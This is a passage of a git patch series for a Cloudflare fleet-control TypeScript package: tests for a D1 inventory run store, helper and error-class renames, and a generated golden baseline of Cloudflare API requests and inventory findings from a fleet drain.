string[]; + }>('inventory-generation-readback'); + + expect(result.ref.generation).toBe(1); + expect(result.ref.rowManifest).toMatchObject({ + registration: 1, + deployment: 1, + finding: 1, + meta: 0, + }); + expect(result.ref.factCount).toBe(1); + expect(result.latestMatches).toBe(true); + expect(result.rowOrdinals).toEqual([ + 'deployment:0', + 'finding:0', + 'registration:0', + ]); + expect(result.factOrdinals).toEqual(['0:secret-name:0']); + }); + + it('refuses a corrupt generation and leaves a mismatched finalize staging', async () => { + const result = await probe<{ + readError: ProbeError; + finalizeError: ProbeError; + stateAfterFinalize: string | null; + latestGeneration: number | null; + }>('inventory-corrupt-unreadable'); + + expect(result.readError.message).toBe( + 'fleet inventory generation 1 is corrupt', + ); + expect(result.finalizeError.message).toMatch( + /^fleet inventory run '[0-9a-f-]+' does not match its finalize manifest$/, + ); + expect(result.stateAfterFinalize).toBe('staging'); + expect(result.latestGeneration).toBe(1); + }); + + it('prunes generations in stable order while protecting latest and pinned', async () => { + const result = await probe<{ + deleted: number[]; + pinnedSurvives: number; + surviving: number[]; + survivingRowGenerations: number[]; + }>('inventory-prune-order'); + + expect(result.deleted).toEqual([1, 1, 0, 1]); + expect(result.pinnedSurvives).toBe(2); + expect(result.surviving).toEqual([4]); + expect(result.survivingRowGenerations).toEqual([4]); + }); + + it('upserts the inventory lease when expired and keeps it alive by renewal', async () => { + const result = await probe<{ + takeover: string | ProbeError; + heartbeatObserved: boolean; + contenderRejected: boolean; + leasesAfterRelease: number; + }>('inventory-lease-lifecycle'); + + expect(result.takeover).toBe('acquired'); + expect(result.heartbeatObserved).toBe(true); + expect(result.contenderRejected).toBe(true); + expect(result.leasesAfterRelease).toBe(0); + }, 30_000); + + it('initializes the six inventory tables under concurrent first reads on fresh D1 storage', async () => { + await server.reset(); + worker = server.getWorker(); + + const result = await probe<{ + latest: number; + columns: Record; + tables: string[]; + generation: number | null; + }>('inventory-cold-concurrent-schema'); + + expect(result.latest).toBe(16); + expect(result.tables).toEqual([ + 'anchorage_fleet_inventory_deployment_facts', + 'anchorage_fleet_inventory_heads', + 'anchorage_fleet_inventory_leases', + 'anchorage_fleet_inventory_pins', + 'anchorage_fleet_inventory_rows', + 'anchorage_fleet_inventory_runs', + ]); + expect(result.columns).toEqual({ + anchorage_fleet_inventory_heads: [ + 'account_id:TEXT', + 'active_operation_id:TEXT', + 'latest_finalized_generation:INTEGER', + 'next_generation:INTEGER', + ], + anchorage_fleet_inventory_runs: [ + 'operation_id:TEXT', + 'account_id:TEXT', + 'generation:INTEGER', + 'options_digest:TEXT', + 'run_record:TEXT', + 'created_at_ms:INTEGER', + 'finalized_at_ms:INTEGER', + ], + anchorage_fleet_inventory_rows: [ + 'account_id:TEXT', + 'generation:INTEGER', + 'kind:TEXT', + 'ordinal:INTEGER', + 'payload:TEXT', + ], + anchorage_fleet_inventory_deployment_facts: [ + 'account_id:TEXT', + 'generation:INTEGER', + 'deployment_ordinal:INTEGER', + 'fact_kind:TEXT', + 'fact_ordinal:INTEGER', + 'payload:TEXT', + ], + anchorage_fleet_inventory_leases: [ + 'account_id:TEXT', + 'owner_token:TEXT', + 'expires_at:INTEGER', + ], + anchorage_fleet_inventory_pins: [ + 'account_id:TEXT', + 'generation:INTEGER', + 'pinned_by:TEXT', + 'pinned_at_ms:INTEGER', + ], + }); + expect(result.generation).toBe(1); + }); }); diff --git a/scripts/architecture-fixtures/inventory-state-imports-provider.ts b/scripts/architecture-fixtures/inventory-state-imports-provider.ts new file mode 100644 index 00000000..0895ff88 --- /dev/null +++ b/scripts/architecture-fixtures/inventory-state-imports-provider.ts @@ -0,0 +1,4 @@ +import '../../packages/fleet-control/src/cloudflare-worker-attachment-scan.js'; +import Cloudflare from 'cloudflare'; + +void Cloudflare; diff --git a/scripts/architecture-positive-controls.test.mjs b/scripts/architecture-positive-controls.test.mjs index 6956d182..ef51db7f 100644 --- a/scripts/architecture-positive-controls.test.mjs +++ b/scripts/architecture-positive-controls.test.mjs @@ -106,6 +106,8 @@ const controls = { 'scripts/architecture-fixtures/decommission-state-imports-provider.ts', 'fleet-control-cleanup-state-does-not-reach-provider': 'scripts/architecture-fixtures/cleanup-state-imports-provider.ts', + 'fleet-control-inventory-state-does-not-reach-provider': + 'scripts/architecture-fixtures/inventory-state-imports-provider.ts', 'fleet-control-decommission-advance-is-transport-neutral': 'scripts/architecture-fixtures/decommission-advance-imports-provider.ts', 'fleet-control-cleanup-advance-is-transport-neutral': From 1c6f0063a390cd9ed10f9210dd3e03084f9d39a0 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Tue, 1 Sep 2026 02:00:53 +0400 Subject: [PATCH 047/169] refactor(fleet-control): align inventory row helper and error names with precedent --- .../src/d1-fleet-inventory-run-store.ts | 57 +++++++++---------- .../src/fleet-inventory-state.ts | 10 ++-- .../test/fleet-inventory-run-store.test.ts | 4 +- .../test/fleet-inventory-state.test.ts | 10 ++-- 4 files changed, 39 insertions(+), 42 deletions(-) diff --git a/packages/fleet-control/src/d1-fleet-inventory-run-store.ts b/packages/fleet-control/src/d1-fleet-inventory-run-store.ts index bd5b5789..13d57364 100644 --- a/packages/fleet-control/src/d1-fleet-inventory-run-store.ts +++ b/packages/fleet-control/src/d1-fleet-inventory-run-store.ts @@ -96,7 +96,7 @@ export interface D1FleetInventoryRunStoreOptions { readonly leaseRenewalIntervalMs?: number; } -function rowText(row: Row | undefined, key: string): string { +function rowString(row: Row | undefined, key: string): string { const value = row?.[key]; if (typeof value !== 'string') { throw new Error(`fleet inventory row has invalid ${key}`); @@ -104,7 +104,7 @@ function rowText(row: Row | undefined, key: string): string { return value; } -function rowInteger(row: Row | undefined, key: string): number { +function rowNumber(row: Row | undefined, key: string): number { const value = Number(row?.[key]); if (!Number.isSafeInteger(value)) { throw new Error(`fleet inventory row has invalid ${key}`); @@ -112,13 +112,10 @@ function rowInteger(row: Row | undefined, key: string): number { return value; } -function optionalInteger( - row: Row | undefined, - key: string, -): number | undefined { +function optionalNumber(row: Row | undefined, key: string): number | undefined { const value = row?.[key]; if (value === null || value === undefined) return undefined; - return rowInteger(row, key); + return rowNumber(row, key); } function assertGeneration(generation: number): void { @@ -587,11 +584,11 @@ export class D1FleetInventoryRunStore implements FleetInventoryRunStore { const row = persisted[0]; if (!claimedHead && !row) throw this.#headContention(operationId); if (!row) throw unknownRun(operationId); - if (rowText(row, 'options_digest') !== optionsDigest) { + if (rowString(row, 'options_digest') !== optionsDigest) { throw runOptionsConflict(operationId); } const record = fleetInventoryRunRecordFromUnknown( - JSON.parse(rowText(row, 'run_record')), + JSON.parse(rowString(row, 'run_record')), ); // Statement 2 wrote nothing while this operation's run exists: either the // run already completed, in which case the replay is idempotent and must not @@ -615,7 +612,7 @@ export class D1FleetInventoryRunStore implements FleetInventoryRunStore { const row = rows[0]; if (!row) return undefined; return fleetInventoryRunRecordFromUnknown( - JSON.parse(rowText(row, 'run_record')), + JSON.parse(rowString(row, 'run_record')), ); } @@ -764,14 +761,14 @@ export class D1FleetInventoryRunStore implements FleetInventoryRunStore { ); const rowBytes = new Map( storedRows.map((row) => [ - `${rowText(row, 'kind')}:${rowInteger(row, 'ordinal')}`, - rowText(row, 'payload'), + `${rowString(row, 'kind')}:${rowNumber(row, 'ordinal')}`, + rowString(row, 'payload'), ]), ); const factBytes = new Map( storedFacts.map((row) => [ - `${rowInteger(row, 'deployment_ordinal')}:${rowText(row, 'fact_kind')}:${rowInteger(row, 'fact_ordinal')}`, - rowText(row, 'payload'), + `${rowNumber(row, 'deployment_ordinal')}:${rowString(row, 'fact_kind')}:${rowNumber(row, 'fact_ordinal')}`, + rowString(row, 'payload'), ]), ); let complete = true; @@ -890,9 +887,9 @@ export class D1FleetInventoryRunStore implements FleetInventoryRunStore { const runRow = run[0]; if (!runRow) throw unknownRun(operationId); const record = fleetInventoryRunRecordFromUnknown( - JSON.parse(rowText(runRow, 'run_record')), + JSON.parse(rowString(runRow, 'run_record')), ); - const finalizedAtMs = optionalInteger(runRow, 'finalized_at_ms'); + const finalizedAtMs = optionalNumber(runRow, 'finalized_at_ms'); if (record.state !== 'finalized' || finalizedAtMs === undefined) { if (record.progress.revision !== expectedRevision) { throw runConflict(operationId); @@ -900,7 +897,7 @@ export class D1FleetInventoryRunStore implements FleetInventoryRunStore { throw manifestMismatch(operationId); } const head = await this.#headRow(); - if (optionalInteger(head, 'latest_finalized_generation') !== generation) { + if (optionalNumber(head, 'latest_finalized_generation') !== generation) { // The only legal repair: statement 2 alone is idempotent and writes no // generation data. await this.#db.query( @@ -1091,7 +1088,7 @@ export class D1FleetInventoryRunStore implements FleetInventoryRunStore { ); let deleted = 0; for (const candidate of candidates) { - const generation = rowInteger(candidate, 'generation'); + const generation = rowNumber(candidate, 'generation'); // The pin and latest re-checks live inside the delete batch, so a pin // committed after candidate selection still wins. const guard = `AND NOT EXISTS (SELECT 1 FROM ${PIN_TABLE} @@ -1138,7 +1135,7 @@ export class D1FleetInventoryRunStore implements FleetInventoryRunStore { FleetInventoryGenerationRef | undefined > { await this.#ensureSchema(); - const latest = optionalInteger( + const latest = optionalNumber( await this.#headRow(), 'latest_finalized_generation', ); @@ -1156,7 +1153,7 @@ export class D1FleetInventoryRunStore implements FleetInventoryRunStore { ): Promise { assertGeneration(generation); await this.#ensureSchema(); - const latest = optionalInteger( + const latest = optionalNumber( await this.#headRow(), 'latest_finalized_generation', ); @@ -1184,17 +1181,17 @@ export class D1FleetInventoryRunStore implements FleetInventoryRunStore { ); const rows = storedRows.map((row) => fleetInventoryStagedRowFromUnknown({ - kind: rowText(row, 'kind'), - ordinal: rowInteger(row, 'ordinal'), - payload: JSON.parse(rowText(row, 'payload')), + kind: rowString(row, 'kind'), + ordinal: rowNumber(row, 'ordinal'), + payload: JSON.parse(rowString(row, 'payload')), }), ); const facts = storedFacts.map((row) => fleetInventoryStagedFactFromUnknown({ - deploymentOrdinal: rowInteger(row, 'deployment_ordinal'), - factKind: rowText(row, 'fact_kind'), - factOrdinal: rowInteger(row, 'fact_ordinal'), - payload: JSON.parse(rowText(row, 'payload')), + deploymentOrdinal: rowNumber(row, 'deployment_ordinal'), + factKind: rowString(row, 'fact_kind'), + factOrdinal: rowNumber(row, 'fact_ordinal'), + payload: JSON.parse(rowString(row, 'payload')), }), ); // Defense in depth behind the in-SQL finalize guard: the live per-kind @@ -1237,9 +1234,9 @@ export class D1FleetInventoryRunStore implements FleetInventoryRunStore { ); const row = rows[0]; if (!row) throw notFinalized(generation); - const finalizedAtMs = optionalInteger(row, 'finalized_at_ms'); + const finalizedAtMs = optionalNumber(row, 'finalized_at_ms'); const record = fleetInventoryRunRecordFromUnknown( - JSON.parse(rowText(row, 'run_record')), + JSON.parse(rowString(row, 'run_record')), ); if (record.state !== 'finalized' || finalizedAtMs === undefined) { throw notFinalized(generation); @@ -1247,7 +1244,7 @@ export class D1FleetInventoryRunStore implements FleetInventoryRunStore { return { ref: { generation, - operationId: rowText(row, 'operation_id'), + operationId: rowString(row, 'operation_id'), finalizedAtMs, rowManifest: record.progress.stagedCounts, factCount: record.progress.factCount, diff --git a/packages/fleet-control/src/fleet-inventory-state.ts b/packages/fleet-control/src/fleet-inventory-state.ts index 94e9ea87..3dc6ebd2 100644 --- a/packages/fleet-control/src/fleet-inventory-state.ts +++ b/packages/fleet-control/src/fleet-inventory-state.ts @@ -348,10 +348,10 @@ export interface FleetInventoryRunStore { } /** Fixed refusal shared by both durable-text controls. */ -export class InventoryFindingValueError extends Error { +export class FleetInventoryFindingValueError extends Error { constructor(readonly field: string) { super(`inventory finding value for '${field}' is not durable-safe`); - this.name = 'InventoryFindingValueError'; + this.name = 'FleetInventoryFindingValueError'; } } @@ -450,11 +450,11 @@ export function assertNoCredentialInInventoryText( typeof value !== 'string' || utf8Length(value) > FLEET_INVENTORY_DURABLE_TEXT_BYTE_BOUND ) { - throw new InventoryFindingValueError(field); + throw new FleetInventoryFindingValueError(field); } const lowered = value.toLowerCase(); if (CREDENTIAL_SUBSTRINGS.some((marker) => lowered.includes(marker))) { - throw new InventoryFindingValueError(field); + throw new FleetInventoryFindingValueError(field); } } @@ -471,7 +471,7 @@ export function assertInventoryFindingValue( ): void { assertNoCredentialInInventoryText(value, field); if (!PRINTABLE_NON_WHITESPACE.test(value)) { - throw new InventoryFindingValueError(field); + throw new FleetInventoryFindingValueError(field); } } diff --git a/packages/fleet-control/test/fleet-inventory-run-store.test.ts b/packages/fleet-control/test/fleet-inventory-run-store.test.ts index 4b780f80..01b1dae1 100644 --- a/packages/fleet-control/test/fleet-inventory-run-store.test.ts +++ b/packages/fleet-control/test/fleet-inventory-run-store.test.ts @@ -5,6 +5,7 @@ import { D1FleetInventoryRunStore } from '../src/d1-fleet-inventory-run-store.js import { canonicalFleetInventoryRunOptions, emptyFleetInventoryRowCounts, + FleetInventoryFindingValueError, type FleetInventoryLease, type FleetInventoryRowKind, type FleetInventoryRunRecord, @@ -12,7 +13,6 @@ import { type FleetInventoryStagedFact, type FleetInventoryStagedRow, fleetInventoryOptionsDigest, - InventoryFindingValueError, } from '../src/fleet-inventory-state.js'; import type { FleetStateDatabase } from '../src/state-store.js'; @@ -862,6 +862,6 @@ describe('D1FleetInventoryRunStore', () => { }), ), ); - expect(error).toBeInstanceOf(InventoryFindingValueError); + expect(error).toBeInstanceOf(FleetInventoryFindingValueError); }); }); diff --git a/packages/fleet-control/test/fleet-inventory-state.test.ts b/packages/fleet-control/test/fleet-inventory-state.test.ts index f2f61637..da31a0c5 100644 --- a/packages/fleet-control/test/fleet-inventory-state.test.ts +++ b/packages/fleet-control/test/fleet-inventory-state.test.ts @@ -7,6 +7,7 @@ import { canonicalFleetInventoryRunOptions, classifyFleetInventoryRunToken, emptyFleetInventoryRowCounts, + FleetInventoryFindingValueError, type FleetInventoryRunOptions, type FleetInventoryRunRecord, FleetInventoryRunTokenError, @@ -20,7 +21,6 @@ import { fleetInventoryStagedFactFromUnknown, fleetInventoryStagedRowFromUnknown, fleetInventoryStageFromUnknown, - InventoryFindingValueError, initialFleetInventoryStage, isInventoryKeyNameShape, nextStage, @@ -112,7 +112,7 @@ describe('fleet inventory state', () => { step: 'ordinary-scripts', cursor: 'authorization-token', }), - ).toThrow(InventoryFindingValueError); + ).toThrow(FleetInventoryFindingValueError); }); it('round-trips the D1, Durable Object, R2, and finalize stage variants', () => { @@ -464,7 +464,7 @@ describe('fleet inventory state', () => { 'bearer-of-secrets', ]) { expect(() => assertInventoryFindingValue(value, 'detail')).toThrow( - InventoryFindingValueError, + FleetInventoryFindingValueError, ); } expect(() => @@ -500,10 +500,10 @@ describe('fleet inventory state', () => { ).toBe(true); expect(() => assertNoCredentialInInventoryText('k'.repeat(513), 'keyName'), - ).toThrow(InventoryFindingValueError); + ).toThrow(FleetInventoryFindingValueError); expect(() => assertNoCredentialInInventoryText('bearer-eyJhbGciOi', 'keyName'), - ).toThrow(InventoryFindingValueError); + ).toThrow(FleetInventoryFindingValueError); }); it('accepts long dotless script names and dispatch namespaces', () => { From 362e331bb6399975ac4d5cb15663b58ab4077fd2 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Tue, 1 Sep 2026 02:39:03 +0400 Subject: [PATCH 048/169] test(fleet-control): freeze the fleet inventory drain golden baseline --- .../test/cloudflare-client.test.ts | 12 + .../fleet-inventory-drain-baseline.ts | 699 ++++++++++++++++++ .../fixtures/fleet-inventory-drain-world.ts | 590 +++++++++++++++ scripts/CLAUDE.md | 10 + scripts/record-drain-baseline.mjs | 331 +++++++++ 5 files changed, 1642 insertions(+) create mode 100644 packages/fleet-control/test/fixtures/fleet-inventory-drain-baseline.ts create mode 100644 packages/fleet-control/test/fixtures/fleet-inventory-drain-world.ts create mode 100644 scripts/record-drain-baseline.mjs diff --git a/packages/fleet-control/test/cloudflare-client.test.ts b/packages/fleet-control/test/cloudflare-client.test.ts index 480b12ed..dfcaab7c 100644 --- a/packages/fleet-control/test/cloudflare-client.test.ts +++ b/packages/fleet-control/test/cloudflare-client.test.ts @@ -19,6 +19,11 @@ import { testRateCoordinator, zoneAuthorityResponse, } from './fixtures/cloudflare-fetch-fixture.js'; +import { + DRAIN_BASELINE_INVENTORY, + DRAIN_BASELINE_REQUESTS, +} from './fixtures/fleet-inventory-drain-baseline.js'; +import { runFleetInventoryDrain } from './fixtures/fleet-inventory-drain-world.js'; import { errorChain } from './fixtures/plain-worker-harnesses.js'; function deployment(overrides: Partial = {}): DeploymentSpec { @@ -2967,6 +2972,13 @@ describe('CloudflareProvisioningClient', () => { ).resolves.toBeUndefined(); expect(versionReads).toBe(reads); }); + + it('drains the recorded world into the frozen golden inventory and request sequence', async () => { + const { requests, inventory } = await runFleetInventoryDrain(); + + expect(inventory).toEqual(DRAIN_BASELINE_INVENTORY); + expect(requests).toEqual(DRAIN_BASELINE_REQUESTS); + }); }); function activeRouteClient( diff --git a/packages/fleet-control/test/fixtures/fleet-inventory-drain-baseline.ts b/packages/fleet-control/test/fixtures/fleet-inventory-drain-baseline.ts new file mode 100644 index 00000000..60a66479 --- /dev/null +++ b/packages/fleet-control/test/fixtures/fleet-inventory-drain-baseline.ts @@ -0,0 +1,699 @@ +// SPDX-License-Identifier: Apache-2.0 + +/** + * GENERATED FILE — DO NOT EDIT BY HAND. + * + * Written by `scripts/record-drain-baseline.mjs` from the hand-authored world + * in `fleet-inventory-drain-world.ts`. It freezes the observable behavior of + * `CloudflareProvisioningClient.collectFleetInventory()` before its internals + * are rewritten, so the rewrite can be proven byte-equivalent. Verify with + * `node scripts/record-drain-baseline.mjs --check`; any required change to + * these literals is a compatibility break, not a fixture update. + */ + +import type { FleetResourceInventory } from '../../src/types.js'; +import type { DrainRequestRecord } from './fleet-inventory-drain-world.js'; + +/** Every provider request the drain issued, in order. */ +export const DRAIN_BASELINE_REQUESTS = [ + { + method: 'GET', + url: 'https://api.cloudflare.com/client/v4/accounts/account/storage/kv/namespaces/hosts/keys', + body: undefined, + }, + { + method: 'GET', + url: 'https://api.cloudflare.com/client/v4/accounts/account/storage/kv/namespaces/hosts/values/__anchorage_script__:fleet-alpha', + body: undefined, + }, + { + method: 'GET', + url: 'https://api.cloudflare.com/client/v4/accounts/account/storage/kv/namespaces/hosts/values/__anchorage_script__:fleet-broken', + body: undefined, + }, + { + method: 'GET', + url: 'https://api.cloudflare.com/client/v4/accounts/account/storage/kv/namespaces/hosts/values/__anchorage_script__:fleet-wrong-key', + body: undefined, + }, + { + method: 'GET', + url: 'https://api.cloudflare.com/client/v4/accounts/account/storage/kv/namespaces/hosts/values/__anchorage_script__:fleet-drifted', + body: undefined, + }, + { + method: 'GET', + url: 'https://api.cloudflare.com/client/v4/accounts/account/storage/kv/namespaces/hosts/values/__anchorage_script__:fleet-malformed', + body: undefined, + }, + { + method: 'GET', + url: 'https://api.cloudflare.com/client/v4/accounts/account/storage/kv/namespaces/hosts/values/__anchorage_script__:fleet-incomplete', + body: undefined, + }, + { + method: 'GET', + url: 'https://api.cloudflare.com/client/v4/accounts/account/storage/kv/namespaces/hosts/values/alpha.example.test', + body: undefined, + }, + { + method: 'GET', + url: 'https://api.cloudflare.com/client/v4/accounts/account/storage/kv/namespaces/hosts/values/stale.example.test', + body: undefined, + }, + { + method: 'GET', + url: 'https://api.cloudflare.com/client/v4/accounts/account/storage/kv/namespaces/hosts/values/bad-policy.example.test', + body: undefined, + }, + { + method: 'GET', + url: 'https://api.cloudflare.com/client/v4/accounts/account/storage/kv/namespaces/hosts/values/bad-state-egress.example.test', + body: undefined, + }, + { + method: 'GET', + url: 'https://api.cloudflare.com/client/v4/accounts/account/storage/kv/namespaces/hosts/values/malformed.example.test', + body: undefined, + }, + { + method: 'GET', + url: 'https://api.cloudflare.com/client/v4/accounts/account/workers/dispatch/namespaces/fleet/scripts?per_page=1000', + body: undefined, + }, + { + method: 'GET', + url: 'https://api.cloudflare.com/client/v4/accounts/account/workers/dispatch/namespaces/fleet/scripts/fleet-alpha', + body: undefined, + }, + { + method: 'GET', + url: 'https://api.cloudflare.com/client/v4/accounts/account/workers/dispatch/namespaces/fleet/scripts/fleet-alpha/settings', + body: undefined, + }, + { + method: 'GET', + url: 'https://api.cloudflare.com/client/v4/accounts/account/workers/dispatch/namespaces/fleet/scripts/fleet-broken', + body: undefined, + }, + { + method: 'GET', + url: 'https://api.cloudflare.com/client/v4/accounts/account/workers/dispatch/namespaces/fleet/scripts/fleet-broken/settings', + body: undefined, + }, + { + method: 'GET', + url: 'https://api.cloudflare.com/client/v4/accounts/account/workers/dispatch/namespaces/fleet/scripts/fleet-other-owner', + body: undefined, + }, + { + method: 'GET', + url: 'https://api.cloudflare.com/client/v4/accounts/account/workers/dispatch/namespaces/fleet/scripts/fleet-other-owner/settings', + body: undefined, + }, + { + method: 'GET', + url: 'https://api.cloudflare.com/client/v4/accounts/account/workers/dispatch/namespaces/fleet/scripts/fleet-drifted', + body: undefined, + }, + { + method: 'GET', + url: 'https://api.cloudflare.com/client/v4/accounts/account/workers/dispatch/namespaces/fleet/scripts/fleet-drifted/settings', + body: undefined, + }, + { + method: 'GET', + url: 'https://api.cloudflare.com/client/v4/accounts/account/workers/dispatch/namespaces/fleet', + body: undefined, + }, + { + method: 'GET', + url: 'https://api.cloudflare.com/client/v4/accounts/account/workers/domains', + body: undefined, + }, + { + method: 'GET', + url: 'https://api.cloudflare.com/client/v4/user/tokens/verify', + body: undefined, + }, + { + method: 'GET', + url: 'https://api.cloudflare.com/client/v4/accounts/account/tokens/token-id', + body: undefined, + }, + { + method: 'GET', + url: 'https://api.cloudflare.com/client/v4/zones?account.id=account&per_page=50&type=full&type=partial&type=secondary&type=internal', + body: undefined, + }, + { + method: 'GET', + url: 'https://api.cloudflare.com/client/v4/zones?account.id=account&per_page=50&type=full&type=partial&type=secondary&type=internal&page=2', + body: undefined, + }, + { + method: 'GET', + url: 'https://api.cloudflare.com/client/v4/zones/zone-a/workers/routes', + body: undefined, + }, + { + method: 'GET', + url: 'https://api.cloudflare.com/client/v4/zones/zone-b/workers/routes', + body: undefined, + }, + { + method: 'GET', + url: 'https://api.cloudflare.com/client/v4/accounts/account/workers/scripts', + body: undefined, + }, + { + method: 'GET', + url: 'https://api.cloudflare.com/client/v4/accounts/account/workers/scripts/fleet-state/deployments', + body: undefined, + }, + { + method: 'GET', + url: 'https://api.cloudflare.com/client/v4/accounts/account/workers/scripts/fleet-state/secrets', + body: undefined, + }, + { + method: 'GET', + url: 'https://api.cloudflare.com/client/v4/accounts/account/workers/scripts/fleet-state/versions/version-fleet-state', + body: undefined, + }, + { + method: 'GET', + url: 'https://api.cloudflare.com/client/v4/accounts/account/workers/scripts/fleet-state/subdomain', + body: undefined, + }, + { + method: 'GET', + url: 'https://api.cloudflare.com/client/v4/accounts/account/workers/scripts/fleet-plain/deployments', + body: undefined, + }, + { + method: 'GET', + url: 'https://api.cloudflare.com/client/v4/accounts/account/workers/scripts/fleet-plain/secrets', + body: undefined, + }, + { + method: 'GET', + url: 'https://api.cloudflare.com/client/v4/accounts/account/workers/scripts/fleet-plain/versions/version-fleet-plain', + body: undefined, + }, + { + method: 'GET', + url: 'https://api.cloudflare.com/client/v4/accounts/account/workers/scripts/fleet-plain/subdomain', + body: undefined, + }, + { + method: 'GET', + url: 'https://api.cloudflare.com/client/v4/accounts/account/workers/scripts/fleet-egress/deployments', + body: undefined, + }, + { + method: 'GET', + url: 'https://api.cloudflare.com/client/v4/accounts/account/workers/scripts/fleet-egress/secrets', + body: undefined, + }, + { + method: 'GET', + url: 'https://api.cloudflare.com/client/v4/accounts/account/workers/scripts/fleet-egress/versions/version-fleet-egress', + body: undefined, + }, + { + method: 'GET', + url: 'https://api.cloudflare.com/client/v4/accounts/account/workers/scripts/fleet-egress/subdomain', + body: undefined, + }, + { + method: 'GET', + url: 'https://api.cloudflare.com/client/v4/accounts/account/workers/scripts/fleet-unreadable/deployments', + body: undefined, + }, + { + method: 'GET', + url: 'https://api.cloudflare.com/client/v4/accounts/account/workers/scripts/fleet-unreadable/secrets', + body: undefined, + }, + { + method: 'GET', + url: 'https://api.cloudflare.com/client/v4/accounts/account/workers/scripts/fleet-unreadable/versions/version-fleet-unreadable', + body: undefined, + }, + { + method: 'GET', + url: 'https://api.cloudflare.com/client/v4/accounts/account/workers/scripts/fleet-unreadable/subdomain', + body: undefined, + }, + { + method: 'GET', + url: 'https://api.cloudflare.com/client/v4/accounts/account/d1/database', + body: undefined, + }, + { + method: 'GET', + url: 'https://api.cloudflare.com/client/v4/accounts/account/d1/database?page=2', + body: undefined, + }, + { + method: 'GET', + url: 'https://api.cloudflare.com/client/v4/accounts/account/workers/durable_objects/namespaces', + body: undefined, + }, + { + method: 'GET', + url: 'https://api.cloudflare.com/client/v4/accounts/account/workers/durable_objects/namespaces?page=2', + body: undefined, + }, + { + method: 'GET', + url: 'https://api.cloudflare.com/client/v4/accounts/account/r2/buckets?name_contains=fleet-&order=name&direction=asc&per_page=1000', + body: undefined, + headers: { 'cf-r2-jurisdiction': 'default' }, + }, + { + method: 'GET', + url: 'https://api.cloudflare.com/client/v4/accounts/account/r2/buckets?name_contains=fleet-&order=name&direction=asc&per_page=1000', + body: undefined, + headers: { 'cf-r2-jurisdiction': 'eu' }, + }, + { + method: 'GET', + url: 'https://api.cloudflare.com/client/v4/accounts/account/r2/buckets?name_contains=fleet-&order=name&direction=asc&per_page=1000', + body: undefined, + headers: { 'cf-r2-jurisdiction': 'fedramp' }, + }, +] as const satisfies readonly DrainRequestRecord[]; + +/** The exact inventory the drain returned. */ +export const DRAIN_BASELINE_INVENTORY = { + findings: [ + { + tenantTag: 'gamma', + environment: 'production', + kind: 'stale-script-registration', + detail: + "script inventory key '__anchorage_script__:fleet-wrong-key' claims 'fleet-other-owner'", + }, + { + tenantTag: 'unknown', + environment: 'unknown', + kind: 'malformed-script-registration', + detail: + "fleet inventory key '__anchorage_script__:fleet-malformed' is not valid JSON", + }, + { + tenantTag: 'delta', + environment: 'production', + kind: 'malformed-script-registration', + detail: + "script inventory key '__anchorage_script__:fleet-incomplete' has incomplete ownership metadata", + }, + { + tenantTag: 'acme', + environment: 'production', + kind: 'malformed-route', + detail: + "host route 'bad-policy.example.test' has inconsistent policy metadata", + }, + { + tenantTag: 'acme', + environment: 'production', + kind: 'malformed-route', + detail: + "host route 'bad-state-egress.example.test' has invalid state-egress metadata", + }, + { + tenantTag: 'unknown', + environment: 'unknown', + kind: 'malformed-route', + detail: "fleet inventory key 'malformed.example.test' is not valid JSON", + }, + { + tenantTag: 'beta', + environment: 'staging', + kind: 'stale-script-registration', + detail: + "registered script 'fleet-broken' could not be inspected: Error: script 'fleet-broken' has incomplete fleet metadata", + }, + { + tenantTag: 'gamma', + environment: 'production', + kind: 'stale-script-registration', + detail: + "registered script 'fleet-other-owner' is absent from the dispatch namespace listing", + }, + { + tenantTag: 'gamma', + environment: 'production', + kind: 'stale-script-registration', + detail: "registered script 'fleet-other-owner' is missing", + }, + { + tenantTag: 'acme', + environment: 'production', + kind: 'stale-script-registration', + detail: + "registered script 'fleet-drifted' does not match its live tenant, environment, or database ownership", + }, + { + tenantTag: 'orphan', + environment: 'production', + kind: 'unknown-dispatch-scripts', + detail: + "dispatch script 'fleet-orphan' has no valid owner-checked registry entry", + }, + { + tenantTag: 'acme', + environment: 'production', + kind: 'stale-route', + detail: + "host route 'stale.example.test' does not match its script registration owner", + }, + { + tenantTag: 'unknown', + environment: 'unknown', + kind: 'trusted-dispatch-namespace', + detail: + "dispatch namespace 'fleet' does not attest trusted_workers=false", + }, + { + tenantTag: 'unknown', + environment: 'unknown', + kind: 'unknown-dispatch-scripts', + detail: + "dispatch namespace 'fleet' reports 1 script(s) missing from the paginated listing", + }, + { + tenantTag: 'acme', + environment: 'production', + kind: 'incomplete-deployment', + detail: + "trusted Worker 'fleet-state' is publicly reachable on workers.dev, a preview URL, or a zone route", + }, + { + tenantTag: 'acme', + environment: 'production', + kind: 'incomplete-deployment', + detail: + "trusted Worker 'fleet-egress' is publicly reachable on workers.dev, a preview URL, or a zone route", + }, + { + tenantTag: 'unknown', + environment: 'unknown', + kind: 'incomplete-deployment', + detail: + "plain Worker 'fleet-unreadable' could not be inventoried: Error: active Worker identity settings are missing", + }, + { + tenantTag: 'unknown', + environment: 'unknown', + kind: 'stale-route', + detail: + "custom domain 'ghost.example.test' points to a missing or incomplete plain Worker 'fleet-ghost'", + }, + { + tenantTag: 'acme', + environment: 'production', + kind: 'stale-route', + detail: + "zone route 'state.example.test/*' exposes plain Worker 'fleet-state'", + }, + { + tenantTag: 'plain', + environment: 'staging', + kind: 'stale-route', + detail: + "zone route 'plain.example.test/*' exposes plain Worker 'fleet-plain'", + }, + ], + hostRoutingKvId: 'hosts', + dispatchScriptCount: 5, + dispatchNamespace: { + name: 'fleet', + namespaceId: 'dispatch-namespace-id', + trustedWorkers: true, + scriptCount: 5, + }, + scriptRegistrations: [ + { + scriptName: 'fleet-alpha', + tenantTag: 'acme', + environment: 'production', + databaseId: 'db-alpha', + routeHostname: 'alpha.example.test', + }, + { + scriptName: 'fleet-broken', + tenantTag: 'beta', + environment: 'staging', + databaseId: 'db-broken', + routeHostname: 'broken.example.test', + }, + { + scriptName: 'fleet-other-owner', + tenantTag: 'gamma', + environment: 'production', + databaseId: 'db-other-owner', + routeHostname: 'other-owner.example.test', + }, + { + scriptName: 'fleet-drifted', + tenantTag: 'acme', + environment: 'production', + databaseId: 'db-drifted', + routeHostname: 'drifted.example.test', + }, + ], + deployments: [ + { + backend: 'workers-for-platforms', + scriptName: 'fleet-alpha', + tenantTag: 'acme', + environment: 'production', + databaseIds: ['db-alpha'], + durableObjectBindings: [ 